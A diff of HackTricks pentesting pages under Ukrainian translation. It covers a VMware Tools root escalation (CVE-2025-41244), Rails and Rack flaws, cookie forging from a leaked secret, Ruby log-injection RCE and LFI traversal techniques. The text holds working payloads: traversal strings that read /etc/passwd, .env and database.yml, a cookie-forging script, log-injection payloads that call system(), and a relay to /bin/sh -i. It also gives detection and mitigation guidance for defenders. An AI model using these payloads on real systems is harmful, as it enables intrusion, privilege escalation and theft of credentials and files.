- Impact: Local privilege escalation to root (or to the privileged discovery account)
- Root cause: Untrusted Search Path (CWE-426) + permissive regex matching of process command lines
- Affected: open-vm-tools/VMware Tools on Linux (credential-less discovery), VMware Aria Operations SDMP (credential-based discovery via Tools/proxy)
## Як працює виявлення сервісів VMware (на високому рівні)
## How VMware service discovery works (high level)
- Credential-based (legacy): Aria виконує скрипти виявлення всередині гостьової ОС через VMware Tools, використовуючи налаштовані привілейовані облікові дані.
- Credential-less (modern): Логіка виявлення працює в межах VMware Tools, які вже мають привілеї в гостьовій системі.
- Credential-based (legacy): Aria executes discovery scripts inside the guest via VMware Tools using configured privileged credentials.
- Credential-less (modern): Discovery logic runs within VMware Tools, already privileged in the guest.
Обидва режими в кінцевому підсумку виконують shell логіку, яка сканує процеси з прослуховуючими сокетами, витягує відповідний шлях команди за допомогою regex і виконує перший токен argv з прапорцем версії.
Обидва режими в кінцевому підсумку виконують shell-логіку, яка сканує процеси з прослуховувальними сокетами, витягує відповідний шлях до команди за допомогою regex і виконує перший токен argv з прапорцем version.
## Root cause and vulnerable pattern (open-vm-tools)
В open-vm-tools скрипт плагіна serviceDiscovery get-versions.sh знаходить кандидатні бінарні файли за допомогою широких регулярних виразів та виконує перший токен без будь-якої перевірки довіреного шляху:
В open-vm-tools, плагін serviceDiscovery — скрипт get-versions.sh — знаходить кандидатні бінарні файли за широкими регулярними виразами і виконує перший токен без будь-якої валідації довіреного шляху:
```bash
get_version() {
PATTERN=$1
@ -29,7 +29,7 @@ COMMAND=$(get_command_line $p | grep -Eo "$PATTERN")
done
}
```
Викликається з дозволяючими шаблонами, що містять \S (непробільні символи), які з легкістю відповідатимуть не-системним шляхам у розташуваннях, доступних для запису користувачем:
Викликається з дозволяючими шаблонами, що містять \S (непробільний символ), які охоче відповідатимуть несистемним шляхам у місцях, доступних для запису користувачем:
```bash
get_version "/\S+/(httpd-prefork|httpd|httpd2-prefork)($|\s)" -v
get_version "/usr/(bin|sbin)/apache\S*" -v
@ -38,23 +38,23 @@ get_version "\.?/\S*nginx($|\s)" -v
get_version "/\S+/srm/bin/vmware-dr($|\s)" --version
get_version "/\S+/dataserver($|\s)" -v
```
- Витяг відбувається за допомогою grep -Eo і бере перший токен: ${COMMAND%%[[:space:]]*}
- Екстракція використовує grep -Eo і бере перший токен: ${COMMAND%%[[:space:]]*}
- Немає whitelist/allowlist довірених системних шляхів; будь-який виявлений listener з відповідною назвою виконується з -v/--version
This creates an untrusted search path execution primitive: arbitrary binaries located in world-writable directories (e.g., /tmp/httpd) get executed by a privileged component.
This creates an untrusted search path execution primitive: довільні бінарні файли, розташовані в директоріях з доступом для запису для всіх (наприклад, /tmp/httpd), виконуються привілейованим компонентом.
## Exploitation (both credential-less and credential-based modes)
## Експлуатація (як без облікових даних, так і з обліковими даними)
Передумови
- Ви можете запустити непривілейований процес, який відкриває прослуховувальний сокет на гості.
- Завдання виявлення увімкнено і запускається періодично (історично ~5 хвилин).
- Ви можете запустити непривілейований процес, який відкриває слухаючий сокет на гостьовій ОС.
- Завдання discovery увімкнене і виконується періодично (історично ~5 хвилин).
Кроки
1) Розмістіть двійник у шляху, що відповідає одному з дозволяючих регулярних виразів, наприклад /tmp/httpd або ./nginx
2) Запустіть його від імені користувача з низькими привілеями і переконайтеся, що він відкриває прослуховувальний сокет
3) Зачекайте цикл виявлення; привілейований колектор автоматично виконає: /tmp/httpd -v (або подібне), запустивши вашу програму як root
1) Розмістіть бінарний файл у шляху, що відповідає одному з дозволених регулярних виразів, наприклад /tmp/httpd або ./nginx
2) Запустіть його від імені користувача з низькими привілеями і переконайтеся, що він відкриває будь-який слухаючий сокет
3) Зачекайте на цикл discovery; привілейований collector автоматично виконає: /tmp/httpd -v (або подібне), запустивши вашу програму як root
Мінімальна демонстрація (за підходом NVISOs)
Мінімальний демонстраційний приклад (використовуючи підхід NVISO)
```bash
# Build any small helper that:
# - default mode: opens a dummy TCP listener
@ -65,61 +65,61 @@ chmod +x /tmp/httpd
/tmp/httpd # run as low-priv user and wait for the cycle
# After the next cycle, expect a root shell or your privileged action
```
Типовий ланцюг процесів
- З обліковими даними: /usr/bin/vmtoolsd -> /bin/sh /tmp/VMware-SDMP-Scripts-.../script_...sh -> /tmp/httpd -v -> /bin/sh -i
- Без облікових даних: /bin/sh .../get-versions.sh -> /tmp/httpd -v -> /bin/sh -i
Типова послідовність процесів
- Credential-based: /usr/bin/vmtoolsd -> /bin/sh /tmp/VMware-SDMP-Scripts-.../script_...sh -> /tmp/httpd -v -> /bin/sh -i
- Credential-less: /bin/sh .../get-versions.sh -> /tmp/httpd -v -> /bin/sh -i
Артефакти (з обліковими даними)
Відновлені SDMP wrapper scripts під /tmp/VMware-SDMP-Scripts-{UUID}/ можуть показувати пряме виконання зловмисного шляху:
Артефакти (credential-based)
Відновлені SDMP wrapper scripts у /tmp/VMware-SDMP-Scripts-{UUID}/ можуть показувати пряме виконання зловмисного шляху:
```bash
/tmp/httpd -v >"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stdout" 2>"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stderr"
```
## Узагальнення техніки: regex-driven discovery abuse (portable pattern)
## Узагальнення техніки: regex-driven discovery abuse (портативний шаблон)
Багато агентів і систем моніторингу реалізують виявлення версій/сервісів шляхом:
- Перерахування процесів з прослуховуючими сокетами
- Пошуку в argv/command lines за допомогою permissive regex (наприклад, патерни, що містять \S)
- Запуску знайденого шляху з безпечним прапорцем типу -v, --version, -V, -h
Багато агентів та систем моніторингу реалізують виявлення версій/сервісів шляхом:
- Перелічення процесів з прослуховуваними сокетами
- Перевірки argv/рядків команд з використанням дозволяючих regex-виразів (наприклад, шаблонів, що містять \S)
- Виконання співпадаючого шляху з нешкідливим прапорцем, наприклад -v, --version, -V, -h
Якщо regex приймає ненадійні шляхи і шлях виконується з привілейованого контексту, отримуємо CWE-426 Untrusted Search Path execution.
Якщо regex приймає ненадійні шляхи, а шлях виконується з привілейованого контексту, це призводить до CWE-426 Untrusted Search Path execution.
Abuse recipe
- Назвіть свій бінарний файл як звичні демони, які regex ймовірно знайде: httpd, nginx, mysqld, dataserver
- Назвіть свій бінарний файл подібно до загальних демонів, які regex імовірно співпаде з: httpd, nginx, mysqld, dataserver
- Розмістіть його в записуваному каталозі: /tmp/httpd, ./nginx
- Переконайтесь, що воно співпадає з regex і відкриває порт для виявлення
- Зачекайте на плановий колектор; отримаєте автоматичний привілейований виклик <path> -v
- Переконайтеся, що він відповідає regex і відкриває будь-який порт, щоб його могли виявити
- Чекайте на запланований collector; ви отримаєте автоматичний привілейований виклик <path> -v
Masquerading note: This aligns with MITRE ATT&CK T1036.005 (Match Legitimate Name or Location) to increase match probability and stealth.
Masquerading note: Це відповідає MITRE ATT&CK T1036.005 (Match Legitimate Name or Location) для збільшення ймовірності співпадіння та прихованості.
Reusable privileged I/O relay trick
- Побудуйте допоміжну програму так, щоб при виклику з привілеями (-v/--version) вона підключалась до відомої точки зустрічі (наприклад, a Linux abstract UNIX socket like @cve) і мостила stdio до /bin/sh -i. Це уникає артефактів на диску і працює в багатьох середовищах, де той самий бінарний файл повторно викликається з прапорцем.
Повторно використовуваний трюк релейного привілейованого I/O
- Побудуйте свій helper так, щоб при привілейованому виклику (-v/--version) він підключався до відомого rendezvous (наприклад, абстрактного Linux UNIX-сокета на кшталт @cve) і мостив stdio до /bin/sh -i. Це уникає артефактів на диску і працює в багатьох середовищах, де той самий бінар повторно викликається з прапором.
## Detection and DFIR guidance
## Виявлення та керівництво DFIR
Hunting queries
Пошукові запити
- Незвичні дочірні процеси vmtoolsd або get-versions.sh, такі як /tmp/httpd, ./nginx, /tmp/mysqld
- Будь-яке виконання discovery-скриптами абсолютних шляхів поза системними префіксами (шукайте пробіли в розширеннях ${COMMAND%%...})
- ps -ef --forest для візуалізації дерев спадкоємності: vmtoolsd -> get-versions.sh -> <non-system path>
- Будь-яке виконання абсолютних шляхів не з системних префіксів скриптами виявлення (шукайте пробіли в розгортаннях ${COMMAND%%...})
- ps -ef --forest для візуалізації дерева предків: vmtoolsd -> get-versions.sh -> <non-system path>
On Aria SDMP (credential-based)
- Перевірте /tmp/VMware-SDMP-Scripts-{UUID}/ на предмет тимчасових скриптів та артефактів stdout/stderr, що показують виконання шляхів нападника
У Aria SDMP (на основі облікових даних)
- Перевірте /tmp/VMware-SDMP-Scripts-{UUID}/ на предмет тимчасових скриптів та артефактів stdout/stderr, що показують виконання шляхів атакуючого
Policy/telemetry
- Сповіщення при виконанні привілейованих колекторів з не-системних префіксів: ^/(tmp|home|var/tmp|dev/shm)/
- Моніторинг цілісності файлів get-versions.sh та VMware Tools plugins
Політика/телеметрія
- Сигналізувати, коли привілейовані collectors виконуються з несистемних префіксів: ^/(tmp|home|var/tmp|dev/shm)/
- Моніторинг цілісності файлів для get-versions.sh та плагінів VMware Tools
## Mitigations
## Міри пом'якшення
- Patch: Apply Broadcom/VMware updates for CVE-2025-41244 (Tools and Aria Operations SDMP)
- Вимкніть або обмежте discovery без облікових даних там, де можливо
- Перевіряйте довірені шляхи: обмежте виконання дозволеними директоріями (/usr/sbin, /usr/bin, /sbin, /bin) і лише точними відомими бінарними файлами
- Уникайте permissive regex з \S; віддавайте перевагу анкерованим, явним абсолютним шляхам і точним іменам команд
- Знижуйте привілеї для discovery helper-ів де можливо; використовуйте sandbox (seccomp/AppArmor) щоб зменшити вплив
- Моніторьте та сповіщайте про виконання vmtoolsd/get-versions.sh не-системних шляхів
- Patch: застосуйте оновлення Broadcom/VMware для CVE-2025-41244 (Tools and Aria Operations SDMP)
- Вимкніть або обмежте виявлення без облікових даних там, де це можливо
- Перевіряйте довірені шляхи: обмежуйте виконання до дозволених каталогів (/usr/sbin, /usr/bin, /sbin, /bin) та лише до точно відомих бінарів
- Уникайте дозволяючих regex-виразів з \S; віддавайте перевагу заякореним, явним абсолютним шляхам та точним іменам команд
- Знижуйте привілеї для допоміжних процесів виявлення там, де можливо; ізолюйте в sandbox (seccomp/AppArmor), щоб зменшити наслідки
- Моніторьте та сигналізуйте, коли vmtoolsd/get-versions.sh виконує несистемні шляхи
## Notes for defenders and implementers
## Примітки для захисників та впроваджувачів
Більш безпечний шаблон для пошуку і виконання
Більш безпечний шаблон відповідності та виконання
```bash
# Bad: permissive regex and blind exec
COMMAND=$(get_command_line "$pid" | grep -Eo "/\\S+/nginx(\$|\\s)")
@ -135,7 +135,7 @@ case "$candidate" in
;;
esac
```
## Джерела
## Посилання
- [NVISO You name it, VMware elevates it (CVE-2025-41244)](https://blog.nviso.eu/2025/09/29/you-name-it-vmware-elevates-it-cve-2025-41244/)
- [Broadcom advisory for CVE-2025-41244](https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/36149)

View File

@ -2,50 +2,50 @@
{{#include ../../banners/hacktricks-training.md}}
## Завантаження файлу для RCE
## Завантаження файлу до RCE
As explained in [this article](https://www.offsec.com/blog/cve-2024-46986/), uploading a `.rb` file into sensitive directories such as `config/initializers/` can lead to remote code execution (RCE) in Ruby on Rails applications.
Як пояснено в [this article](https://www.offsec.com/blog/cve-2024-46986/), завантаження файлу `.rb` у чутливі директорії, такі як `config/initializers/`, може призвести до remote code execution (RCE) у Ruby on Rails застосунках.
Поради:
- Інші boot/eager-load локації, які виконуються при старті додатка, також небезпечні, якщо доступні на запис (наприклад, `config/initializers/` — класичний випадок). Якщо ви знайдете довільне завантаження файлу, яке потрапляє будь-куди під `config/` і пізніше буде evaluated/required, ви можете отримати RCE під час boot.
- Шукайте dev/staging builds, які копіюють user-controlled файли в образ контейнера, де Rails завантажить їх при boot.
- Інші місця завантаження/eager-load, які виконуються при старті додатку, також небезпечні, якщо вони записувані (наприклад, `config/initializers/` — класичний випадок). Якщо знайдете довільне завантаження файлу, яке потрапляє кудись під `config/` і потім оцінюється/required, можна отримати RCE при старті.
- Шукайте dev/staging збірки, які копіюють керовані користувачем файли в образ контейнера, де Rails завантажить їх при старті.
## Active Storage image transformation → command execution (CVE-2025-24293)
When an application uses Active Storage with `image_processing` + `mini_magick`, and passes untrusted parameters to image transformation methods, Rails versions prior to 7.1.5.2 / 7.2.2.2 / 8.0.2.1 could allow command injection because some transformation methods were mistakenly allowed by default.
Коли застосунок використовує Active Storage з `image_processing` + `mini_magick` і передає ненадійні параметри до методів трансформації зображень, версії Rails до 7.1.5.2 / 7.2.2.2 / 8.0.2.1 можуть дозволяти command injection, оскільки деякі методи трансформації помилково були дозволені за замовчуванням.
- A vulnerable pattern looks like:
- Уразливий паттерн виглядає так:
```erb
<%= image_tag blob.variant(params[:t] => params[:v]) %>
```
where `params[:t]` and/or `params[:v]` are attacker-controlled.
де `params[:t]` та/або `params[:v]` контролюються атакуючим.
- What to try during testing
- Identify any endpoints that accept variant/processing options, transformation names, or arbitrary ImageMagick arguments.
- Fuzz `params[:t]` and `params[:v]` for suspicious errors or execution side-effects. If you can influence the method name or pass raw arguments that reach MiniMagick, you may get code exec on the image processor host.
- If you only have read-access to generated variants, attempt blind exfiltration via crafted ImageMagick operations.
- Що спробувати під час тестування
- Ідентифікуйте будь-які ендпоінти, що приймають опції variant/processing, імена трансформацій або довільні аргументи ImageMagick.
- Фаззуйте `params[:t]` та `params[:v]` для виявлення підозрілих помилок або побічних ефектів виконання. Якщо можете впливати на ім’я методу або передавати сирі аргументи, що доходять до MiniMagick, можна отримати code exec на хості обробки зображень.
- Якщо у вас лише доступ для читання згенерованих варіантів, спробуйте сліпий ексфільтраційний канал через crafted ImageMagick операції.
- Remediation/detections
- If you see Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 with Active Storage + `image_processing` + `mini_magick` and user-controlled transformations, consider it exploitable. Recommend upgrading and enforcing strict allowlists for methods/params and a hardened ImageMagick policy.
- Виправлення/детекція
- Якщо бачите Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 з Active Storage + `image_processing` + `mini_magick` і керованими користувачем трансформаціями, вважайте це експлуатованим. Рекомендується оновити і запровадити суворі allowlists для методів/параметрів та жорстку політику ImageMagick.
## Rack::Static LFI / path traversal (CVE-2025-27610)
If the target stack uses Rack middleware directly or via frameworks, versions of `rack` prior to 2.2.13, 3.0.14, and 3.1.12 allow Local File Inclusion via `Rack::Static` when `:root` is unset/misconfigured. Encoded traversal in `PATH_INFO` can expose files under the process working directory or an unexpected root.
Якщо стек цілі використовує Rack middleware безпосередньо або через фреймворки, версії `rack` до 2.2.13, 3.0.14 і 3.1.12 дозволяють Local File Inclusion через `Rack::Static`, коли `:root` не встановлено/неправильно налаштовано. Закодована traversal в `PATH_INFO` може показати файли під робочою директорією процесу або під несподіваним root.
- Hunt for apps that mount `Rack::Static` in `config.ru` or middleware stacks. Try encoded traversals against static paths, for example:
- Шукайте додатки, що монтують `Rack::Static` у `config.ru` або стеку middleware. Спробуйте закодовані traversal проти static шляхів, наприклад:
```text
GET /assets/%2e%2e/%2e%2e/config/database.yml
GET /favicon.ico/..%2f..%2f.env
```
Adjust the prefix to match configured `urls:`. If the app responds with file contents, you likely have LFI to anything under the resolved `:root`.
Підлаштуйте префікс під налаштовані `urls:`. Якщо додаток відповідає вмістом файлу, ймовірно у вас є LFI до всього під резольвеним `:root`.
- Mitigation: upgrade Rack; ensure `:root` only points to a directory of public files and is explicitly set.
- Мітігація: оновіть Rack; переконайтеся, що `:root` вказує лише на директорію публічних файлів і встановлений явно.
## Forging/decrypting Rails cookies when `secret_key_base` is leaked
## Підробка/дешифрування Rails cookies коли `secret_key_base` leaked
Rails encrypts and signs cookies using keys derived from `secret_key_base`. If that value leaks (e.g., in a repo, logs, or misconfigured credentials), you can usually decrypt, modify, and re-encrypt cookies. This often leads to authz bypass if the app stores roles, user IDs, or feature flags in cookies.
Rails шифрує та підписує cookies, використовуючи ключі, похідні від `secret_key_base`. Якщо це значення leaks (наприклад, у репозиторії, логах або неправильно налаштованих credentials), зазвичай можна розшифрувати, змінити і повторно зашифрувати cookies. Це часто призводить до обходу authz, якщо додаток зберігає ролі, user IDs або feature flags у cookie.
Minimal Ruby to decrypt and re-encrypt modern cookies (AES-256-GCM, default in recent Rails):
Мінімальний Ruby код для дешифрування та повторного шифрування сучасних cookies (AES-256-GCM, за замовчуванням у останніх Rails):
```ruby
require 'cgi'
require 'json'
@ -70,13 +70,13 @@ plain['role'] = 'admin' if plain.is_a?(Hash)
forged = enc.encrypt_and_sign(plain)
puts "Forged cookie: #{CGI.escape(forged)}"
```
Notes:
- Старі додатки можуть використовувати AES-256-CBC та солі `encrypted cookie` / `signed encrypted cookie`, або серіалізатори JSON/Marshal. Відповідно налаштуйте солі, шифр і серіалізатор.
- У разі компрометації/оцінювання змініть `secret_key_base`, щоб зробити недійсними всі існуючі cookies.
Примітки:
- Старіші додатки можуть використовувати AES-256-CBC та солі `encrypted cookie` / `signed encrypted cookie`, або JSON/Marshal серіалізатори. Відповідно відкоригуйте солі, cipher і serializer.
- У разі компрометації/оцінки, rotate `secret_key_base`, щоб інвалідувати всі існуючі cookies.
## Див. також (вразливості специфічні для Ruby/Rails)
## Див. також (Ruby/Rails-specific vulns)
- Ruby deserialization та class pollution:
- Ruby deserialization and class pollution:
{{#ref}}
../../pentesting-web/deserialization/README.md
{{#endref}}
@ -86,15 +86,90 @@ Notes:
{{#ref}}
../../pentesting-web/deserialization/ruby-_json-pollution.md
{{#endref}}
- Template injection у Ruby engines (ERB/Haml/Slim тощо):
- Template injection in Ruby engines (ERB/Haml/Slim, etc.):
{{#ref}}
../../pentesting-web/ssti-server-side-template-injection/README.md
{{#endref}}
## Log Injection → RCE via Ruby `load` and `Pathname.cleanpath` smuggling
Коли додаток (часто простий Rack/Sinatra/Rails endpoint) одночасно:
- записує рядок, контрольований користувачем, дослівно, та
- пізніше `load`-ить файл, шлях до якого отримано з того ж рядка (після `Pathname#cleanpath`),
Часто можна досягти remote code execution, отруївши лог і змусивши додаток `load` файл логу. Ключові примітиви:
- Ruby `load` виконує вміст цільового файлу як Ruby незалежно від розширення файлу. Будь-який читабельний текстовий файл, вміст якого розбирається як Ruby, буде виконаний.
- `Pathname#cleanpath` згортає сегменти `.` і `..` без звернення до файлової системи, дозволяючи path smuggling: керований атакуючим мотлох може бути додано попереду для логування, тоді як очищений шлях все ще вказує на потрібний файл для виконання (наприклад, `../logs/error.log`).
### Minimal vulnerable pattern
```ruby
require 'logger'
require 'pathname'
logger = Logger.new('logs/error.log')
param = CGI.unescape(params[:script])
path_obj = Pathname.new(param)
logger.info("Running backup script #{param}") # Raw log of user input
load "scripts/#{path_obj.cleanpath}" # Executes file after cleanpath
```
### Чому лог може містити валідний Ruby
`Logger` записує префіксні рядки, наприклад:
```
I, [9/2/2025 #209384] INFO -- : Running backup script <USER_INPUT>
```
У Ruby `#` починає коментар, а `9/2/2025` — це просто арифметика.
Щоб інжектувати валідний Ruby код, потрібно:
- Почніть payload з нового рядка, щоб він не був закоментований `#` у рядку INFO; надішліть провідний символ нового рядка (`\n` або `%0A`).
- Закрийте незакриту `[` введену в рядку INFO. Звичний трюк — почати з `]` і за бажанням зробити парсер задоволеним `][0]=1`.
- Потім додайте довільний Ruby код (наприклад, `system(...)`).
Приклад того, що в кінцевому підсумку опиниться в логах після одного запиту з crafted param:
```
I, [9/2/2025 #209384] INFO -- : Running backup script
][0]=1;system("touch /tmp/pwned")#://../../../../logs/error.log
```
### Приховання одного рядка, який одночасно записує код у лог і резольвиться у шлях до логу
Нам потрібен один рядок, контрольований атакуючим, який:
- при логуванні у сирому вигляді містить наш Ruby payload, та
- коли пропускається через `Pathname.new(<input>).cleanpath`, резольвиться до `../logs/error.log`, тож наступний `load` виконає щойно підмінений лог-файл.
`Pathname#cleanpath` ігнорує схеми та згортає компоненти обходу директорій, тож наступне працює:
```ruby
require 'pathname'
p = Pathname.new("\n][0]=1;system(\"touch /tmp/pwned\")#://../../../../logs/error.log")
puts p.cleanpath # => ../logs/error.log
```
- Символ `#` перед `://` змушує Ruby ігнорувати хвіст під час виконання логу, тоді як `cleanpath` все ще скорочує суфікс до `../logs/error.log`.
- Провідний символ нового рядка виводить з рядка INFO; `]` закриває завислу дужку; `][0]=1` задовольняє парсер.
### End-to-end exploitation
1. Надішліть наступне як ім'я скрипту резервного копіювання (за потреби URL-кодуйте перший символ нового рядка як `%0A`):
```
\n][0]=1;system("id > /tmp/pwned")#://../../../../logs/error.log
```
2. Додаток записує ваш необроблений рядок у `logs/error.log`.
3. Додаток обчислює `cleanpath`, який резольвується в `../logs/error.log`, і викликає `load` на ньому.
4. Ruby виконує код, який ви вставили в лог.
To exfiltrate a file in a CTF-like environment:
```
\n][0]=1;f=Dir['/tmp/flag*.txt'][0];c=File.read(f);puts c#://../../../../logs/error.log
```
URL-encoded PoC (перший символ — перенос рядка):
```
%0A%5D%5B0%5D%3D1%3Bf%3DDir%5B%27%2Ftmp%2Fflag%2A.txt%27%5D%5B0%5D%3Bc%3DFile.read(f)%3Bputs%20c%23%3A%2F%2F..%2F..%2F..%2F..%2Flogs%2Ferror.log
```
## Посилання
- Оголошення безпеки Rails: CVE-2025-24293 Active Storage unsafe transformation methods (fixed in 7.1.5.2 / 7.2.2.2 / 8.0.2.1). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670
- Оголошення безпеки Rails: CVE-2025-24293 — небезпечні методи трансформації Active Storage (виправлено у 7.1.5.2 / 7.2.2.2 / 8.0.2.1). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670
- GitHub Advisory: Rack::Static Local File Inclusion (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v
- [Hardware Monitor Dojo-CTF #44: Log Injection to Ruby RCE (YesWeHack Dojo)](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-44)
- [Ruby Pathname.cleanpath docs](https://docs.ruby-lang.org/en/3.4/Pathname.html#method-i-cleanpath)
- [Ruby Logger](https://ruby-doc.org/stdlib-2.5.1/libdoc/logger/rdoc/Logger.html)
- [How Ruby load works](https://blog.appsignal.com/2023/04/19/how-to-load-code-in-ruby.html)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -13,7 +13,7 @@ msf> use auxiliary/scanner/http/ms15_034_http_sys_memory_dump
```bash
msf> auxiliary/scanner/vmware/vmware_http_login
```
Якщо ви знайдете дійсні облікові дані, ви можете використати більше metasploit scanner modules для отримання інформації.
Якщо ви знайдете дійсні облікові дані, ви можете використати додаткові metasploit scanner modules для отримання інформації.

View File

@ -4,14 +4,14 @@
## File Inclusion
**Remote File Inclusion (RFI):** Файл завантажується з віддаленого сервера (Перевага: ви можете написати код, і сервер його виконає). У php це за замовчуванням **відключено** (**allow_url_include**).\
**Remote File Inclusion (RFI):** Файл завантажується з віддаленого сервера (Найкраще: ви можете написати код і сервер його виконає). У php це **відключено** за замовчуванням (**allow_url_include**).\
**Local File Inclusion (LFI):** Сервер завантажує локальний файл.
Вразливість виникає, коли користувач якимось чином може контролювати файл, який буде завантажено сервером.
Вразливість виникає, коли користувач якимось чином може контролювати файл, який буде завантажений сервером.
Уразливі **PHP functions**: require, require_once, include, include_once
Вразливі **PHP функції**: require, require_once, include, include_once
Цікавий інструмент для експлуатації цієї вразливості: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
Цікаве рішення для експлуатації цієї вразливості: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
## Blind - Interesting - LFI2RCE files
```python
@ -19,7 +19,7 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
```
### **Linux**
**Комбінуючи кілька \*nix LFI списків і додаючи більше шляхів, я створив цей:**
**Об'єднавши кілька \*nix LFI списків та додавши більше шляхів, я створив цей:**
{{#ref}}
@ -29,11 +29,11 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion
Спробуйте також змінити `/` на `\`\
Спробуйте також додати `../../../../../`
Список, який використовує кілька технік для пошуку файлу /etc/password (щоб перевірити, чи існує вразливість), можна знайти [тут](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
Список, який використовує кілька технік для знаходження файлу /etc/password (щоб перевірити наявність вразливості), можна знайти [тут](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
### **Windows**
Об'єднання різних wordlists:
Комбінація різних wordlists:
{{#ref}}
@ -41,17 +41,17 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion
{{#endref}}
Спробуйте також змінити `/` на `\`\
Спробуйте також видалити `C:/` та додати `../../../../../`
Спробуйте також видалити `C:/` і додати `../../../../../`
Список, який використовує кілька технік для пошуку файлу /boot.ini (щоб перевірити, чи існує вразливість), можна знайти [тут](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
Список, який використовує кілька технік для знаходження файлу /boot.ini (щоб перевірити наявність вразливості), можна знайти [тут](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
### **OS X**
Перегляньте LFI список linux.
Перевірте LFI список linux.
## Основи LFI та методи обходу
## Базовий LFI та способи обходу
Усі приклади стосуються Local File Inclusion, але також можуть бути застосовані до Remote File Inclusion (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
Всі приклади стосуються Local File Inclusion, але можуть також застосовуватися до Remote File Inclusion (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
```
http://example.com/index.php?page=../../../etc/passwd
```
@ -63,15 +63,15 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
```
### **Null byte (%00)**
Обхід додавання додаткових символів у кінець наданого рядка (обхід: $\_GET\['param']."php")
Bypass додавання додаткових символів у кінець наданого рядка (bypass of: $\_GET\['param']."php")
```
http://example.com/index.php?page=../../../etc/passwd%00
```
Це **вирішено починаючи з PHP 5.4**
Це **вирішено з PHP 5.4**
### **Кодування**
Ви можете використовувати нестандартні кодування, такі як double URL encode (та інші):
Ви можете використовувати нестандартні кодування, такі як подвійне URL encode (та інші):
```
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
@ -84,38 +84,38 @@ http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
```python
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
```
### Дослідження каталогів файлової системи на сервері
### Дослідження директорій файлової системи на сервері
Файлову систему сервера можна рекурсивно обстежити, щоб визначити каталоги, а не лише файли, використовуючи певні техніки. Процес включає визначення глибини директорії та перевірку наявності певних папок. Нижче наведено детальний метод, як це зробити:
Файлову систему сервера можна рекурсивно досліджувати, щоб ідентифікувати директорії, а не лише файли, застосовуючи певні техніки. Цей процес включає визначення глибини директорії та перевірку наявності конкретних папок. Нижче наведено детальний метод для досягнення цього:
1. **Determine Directory Depth:** Визначте глибину поточної директорії, успішно отримавши файл `/etc/passwd` (застосовно, якщо сервер базується на Linux). Приклад URL може бути побудований так, вказуючи глибину три:
1. **Determine Directory Depth:** Встановіть глибину вашої поточної директорії, успішно отримавши файл `/etc/passwd` (застосовується, якщо сервер на базі Linux). Приклад URL може мати таку структуру, що вказує на глибину три:
```bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
```
2. **Перевірте папки:** Додайте ім'я підозрюваної папки (наприклад, `private`) до URL, потім поверніться до `/etc/passwd`. Додатковий рівень директорії вимагає збільшення глибини на один:
2. **Перевірка папок:** Додайте назву підозрілої папки (наприклад, `private`) до URL, потім поверніться до `/etc/passwd`. Додатковий рівень директорії вимагає збільшення глибини на один:
```bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
```
3. **Інтерпретація результатів:** Відповідь сервера вказує, чи існує папка:
- **Помилка / Відсутність виводу:** Папка `private` ймовірно не існує за вказаним шляхом.
- **Помилка / Немає виводу:** Папка `private` ймовірно не існує за вказаним шляхом.
- **Вміст `/etc/passwd`:** Наявність папки `private` підтверджується.
4. **Рекурсивне дослідження:** Виявлені папки можна додатково перевіряти на наявність підкаталогів або файлів, використовуючи ту ж техніку або традиційні Local File Inclusion (LFI) методи.
4. **Рекурсивне дослідження:** Знайдені папки можна далі перевіряти на наявність підкаталогів або файлів, використовуючи ту ж саму техніку або традиційні методи Local File Inclusion (LFI).
Для дослідження директорій у інших місцях файлової системи відкоригуйте payload відповідно. Наприклад, щоб перевірити, чи містить `/var/www/` папку `private` (припускаючи, що поточний каталог має глибину 3), використайте:
Щоб досліджувати каталоги в інших місцях файлової системи, відповідно відкоригуйте payload. Наприклад, щоб перевірити, чи містить `/var/www/` каталог `private` (припускаючи, що поточний каталог знаходиться на глибині 3), використайте:
```bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
```
### **Path Truncation Technique**
Path truncation — метод, який застосовується для маніпуляції шляхами до файлів у веб-додатках. Часто його використовують для доступу до обмежених файлів, обходячи заходи безпеки, які додають додаткові символи в кінець шляхів до файлів. Мета — сформувати шлях до файлу так, щоб після змін заходами безпеки він все ще вказував на потрібний файл.
Path truncation — метод, який використовується для маніпуляції file paths у веб‑застосунках. Його часто застосовують для доступу до обмежених файлів, обходячи заходи безпеки, що додають додаткові символи в кінець file paths. Мета — сформувати file path так, щоб після модифікації заходом безпеки він і надалі вказував на потрібний файл.
У PHP різні представлення шляху до файлу можуть розглядатися як еквівалентні через характер файлової системи. Наприклад:
У PHP різні представлення одного file path можуть вважатися еквівалентними через особливості файлової системи. Наприклад:
